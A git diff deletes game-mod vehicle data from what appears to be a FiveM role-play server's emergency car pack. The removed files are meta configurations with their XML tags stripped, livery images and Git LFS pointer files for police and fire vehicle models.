-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carvariations.meta
deleted file mode 100644
index 2d908c902..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/carvariations.meta
+++ /dev/null
@@ -1,276 +0,0 @@
-
-
-
- -
- roseneng
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/ther_sign_temp.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/ther_sign_temp.png
deleted file mode 100644
index 4ceb9d392..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/ther_sign_temp.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/vehicles.meta
deleted file mode 100644
index e138976c7..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/roseneng/vehicles.meta
+++ /dev/null
@@ -1,142 +0,0 @@
-
-
- vehshare
-
-
--
- roseneng
- roseneng
- FIRETRUK
- roseneng
- SAHP
- null
- null
- null
- null
-
- null
- cummins5924v
- LAYOUT_STD_EXITFIXUP
- POLICE3_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- MID_BOX_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_NEAR
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 500.000000
- 500.000000
- 500.000000
- 500.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_0
-
- FLAG_HAS_LIVERY FLAG_EXTRAS_ALL FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_HAS_INTERIOR_EXTRAS FLAG_REPORT_CRIME_IF_STANDING_ON
- VEHICLE_TYPE_CAR
- VPT_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_SPORT
-
-
-
- -
- S_M_Y_hwaycop_01
-
-
- -
- S_M_Y_hwaycop_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE3_FRONT_LEFT
- - STD_POLICE3_FRONT_RIGHT
- - STD_POLICE2_REAR_LEFT
- - STD_POLICE2_REAR_RIGHT
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carcols.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carcols.meta
deleted file mode 100644
index d63c65bd8..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carcols.meta
+++ /dev/null
@@ -1,778 +0,0 @@
-
-
-
-
-
- -
-
- silvfire
-
-
-
-
-
-
- VehicleLight_sirenlight
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carvariations.meta
deleted file mode 100644
index 8b7789d52..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/carvariations.meta
+++ /dev/null
@@ -1,276 +0,0 @@
-
-
-
- -
- silvfire
-
-
-
-
- 0
- 0
- 11
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 2
- 0
- 134
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 75
- 0
- 157
- 156
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 7
- 0
- 134
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 34
- 0
- 45
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 0
- 0
- 2
- 0
- 0
- 0
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 0_default_modkit
-
-
-
-
- -
- Police guv plate
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/silv_sign_1.png b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/silv_sign_1.png
deleted file mode 100644
index 10c2d708d..000000000
Binary files a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/silv_sign_1.png and /dev/null differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/vehicles.meta
deleted file mode 100644
index 073a020b7..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/silvfire/vehicles.meta
+++ /dev/null
@@ -1,143 +0,0 @@
-
-
- vehshare
-
-
- -
- silvfire
- silvfire
- SANDKING
- silvfire
-
- null
- null
- null
- null
-
- null
- SANDKING
- LAYOUT_STANDARD
- SHERIFF_COVER_OFFSET_INFO
- EXPLOSION_INFO_DEFAULT
-
- DEFAULT_FOLLOW_VEHICLE_CAMERA
- DEFAULT_THIRD_PERSON_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_MID_HIGH
- DEFAULT_POV_CAMERA
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
-
-
-
-
-
-
-
- VFXVEHICLEINFO_CAR_GENERIC
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- 100.000000
- 200.000000
- 300.000000
- 400.000000
- 500.000000
- 500.000000
-
-
-
-
-
-
-
-
-
-
- SWANKNESS_1
-
- FLAG_ATTACH_TRAILER_IN_CITY FLAG_ATTACH_TRAILER_ON_HIGHWAY FLAG_HAS_LIVERY FLAG_EXTRAS_REQUIRE FLAG_EXTRAS_STRONG FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_REPORT_CRIME_IF_STANDING_ON FLAG_HAS_INTERIOR_EXTRAS
- VEHICLE_TYPE_CAR
- VPT_FRONT_AND_BACK_PLATES
- VDT_GENTAXI
- VC_EMERGENCY
- VWT_MUSCLE
-
- - boattrailer
- - trailersmall
-
-
-
- -
- S_M_Y_Sheriff_01
-
-
-
-
-
-
-
-
-
-
- - REWARD_WEAPON_PUMPSHOTGUN
- - REWARD_AMMO_PUMPSHOTGUN_ENTER_VEHICLE
- - REWARD_STAT_WEAPON
-
-
- - WHEEL_FRONT_RIGHT_CAMERA
- - WHEEL_FRONT_LEFT_CAMERA
- - WHEEL_REAR_RIGHT_CAMERA
- - WHEEL_REAR_LEFT_CAMERA
-
-
-
-
-
-
- - STD_POLICE_FRONT_LEFT
- - STD_POLICE_FRONT_RIGHT
- - STD_POLICE_REAR_LEFT
- - STD_POLICE_REAR_RIGHT
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/carvariations.meta
deleted file mode 100644
index e9b555ca3..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/carvariations.meta
+++ /dev/null
@@ -1,115 +0,0 @@
-
-
-
-
- -
- suburbanfbit
-
-
-
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
- -
-
- 134
- 134
- 156
- 156
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- - 157_massacaro2_modkit
-
-
-
-
- -
- White Plate 2
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/dlctext.meta b/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/dlctext.meta
deleted file mode 100644
index 22bb4c390..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/dlctext.meta
+++ /dev/null
@@ -1,7 +0,0 @@
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.yft
deleted file mode 100644
index 9a6eb6578..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:6f7c867caedd5bd2803b850dd9f9e763660082b6fbcabeb0af6433944a91dc64
-size 3758060
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.ytd
deleted file mode 100644
index c64e5b0e4..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:be008d09a8c26b1130ebb7891ac8db0377dd9014ba5f179a9339ddd65a96ebbe
-size 16675942
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD_hi.yft
deleted file mode 100644
index 9a6eb6578..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/Chevrolet1980VANPD/Chevrolet1980VANPD_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:6f7c867caedd5bd2803b850dd9f9e763660082b6fbcabeb0af6433944a91dc64
-size 3758060
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.yft
deleted file mode 100644
index 7896ba048..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1b2de409ed59fbf16a4ec9eea8ad14acf90e24881d13a493dd2da4e726b69e26
-size 12066400
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.ytd
deleted file mode 100644
index 16c946883..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:d5766ffbea9ca3be59db4f357b02032e93df0afecb19ae962a9f8da75482a38d
-size 8930393
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush_hi.yft
deleted file mode 100644
index 2142135a6..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/brush/brush_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:5af4ffe0814dfeeda3860995786a5da05423217120f57e622c18828f390dea91
-size 12066300
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.yft
deleted file mode 100644
index c8e071020..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1a0d0a1b26b9bd8a16671312dfca8df9999872604257b059a36ebd4d335d4764
-size 8714999
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.ytd
deleted file mode 100644
index a50db3071..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:ba88949d2c98a8a7564495514b4ad48b888f3867469b3ca3e750b8ae63b0d4ca
-size 8815783
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg_hi.yft
deleted file mode 100644
index cef4d870d..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code310charg_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:f605e669f514df8ece91451972126c85ddeff65df5bfaa5be238c4a0d096ee02
-size 8714909
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.yft
deleted file mode 100644
index 1ea463035..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:9ab19b6c1402c8897786e2df9ecb02a07c421bb484a2541ccbbacdddd0e43a22
-size 7656795
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.ytd
deleted file mode 100644
index 8aa134a1c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:9f6db9ffcbd9450272625361f2cd4feb69aad58d204bd139d240fffb111d6ad2
-size 10657855
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg_hi.yft
deleted file mode 100644
index 8c111023f..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314charg_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:31a97b4df9b837f6c1e00eddb3421a6aeb1dc125e9fd0b919e618dff37dd716a
-size 7656657
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.yft
deleted file mode 100644
index f51104d9c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:94947d725e737973ad60d6fb115e0024c29da0ba5c198f3af045590e38151751
-size 6546081
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.ytd
deleted file mode 100644
index 3930e0fbc..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:31db5d40799c38d26a2ba2a2043b8f85e7db6003bce3c2906e86a0eab810f18f
-size 11675060
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe_hi.yft
deleted file mode 100644
index 64824a555..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code314tahoe_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:0ed156f34703312dc23cddfcae15b4dfc5b99fbf0f7042c1678f83c61aee70a7
-size 6545966
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.yft
deleted file mode 100644
index 9331c22ad..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:e93d55e04ac32aec1cbb8e29eb5598fe8fb156a3198d1f16e2aed32a4750c13e
-size 6813138
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.ytd
deleted file mode 100644
index 099e7a569..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:878244ea7e399f3d5b5b4f67c18245d57db3f4db65034f57d31ccc4711bd8d7c
-size 9261467
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu_hi.yft
deleted file mode 100644
index 19f313641..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316fpiu_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:def981a9604aa63332ff8792398e3452f0ef0e022e0ee34a385037bf4546a6e5
-size 6812946
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.yft
deleted file mode 100644
index b20ccf283..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:8c699189b11d9089f858437d10e1e12a1b674a1a2c2ca205c07661dc9123539b
-size 4679039
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.ytd
deleted file mode 100644
index 8e4f4a922..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:20f61a83b833aa1b5e539eda6813e536c8f6bab87d5dfc9450715c2c66919d3b
-size 7706097
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala_hi.yft
deleted file mode 100644
index 45244ed53..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code316impala_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:c84a359c61d76c399593a95911547d2ac920dcfd70f8e45514bc79c0d962ef13
-size 4678918
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.yft
deleted file mode 100644
index a6c263d4a..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:c945cab8004dc19934a1e0fc1d6844721aa44aeaafba57d9338355d69456d140
-size 8714917
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.ytd
deleted file mode 100644
index 9a6e1260a..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:1fe7496f595539d21aab73d8afcb7da37aad84129fa8d45bf809294fca755516
-size 12096353
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg_hi.yft
deleted file mode 100644
index 05882990b..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318charg_hi.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:c6f924b1f377c7bac6c1772b7034c16647b8bd116550461e0e10659ccce0b783
-size 8714642
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.yft
deleted file mode 100644
index 0bc1809c1..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.yft
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:761b37fd3caa50d105ea7731ce6c41d66e2f7d53274ad00cfad03a75ca93323a
-size 8548908
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.ytd b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.ytd
deleted file mode 100644
index f9932045b..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9.ytd
+++ /dev/null
@@ -1,3 +0,0 @@
-version https://git-lfs.github.com/spec/v1
-oid sha256:fef4fef4d87fded825b5677f793c5fe030ad1fac98990e965f886b9a800a0f0b
-size 12445799
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9_hi.yft
deleted file mode 100644
index 0eb16530c..000000000
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/stream/code3megapackrb/code318chargk9_hi.yft
+++ /dev/null
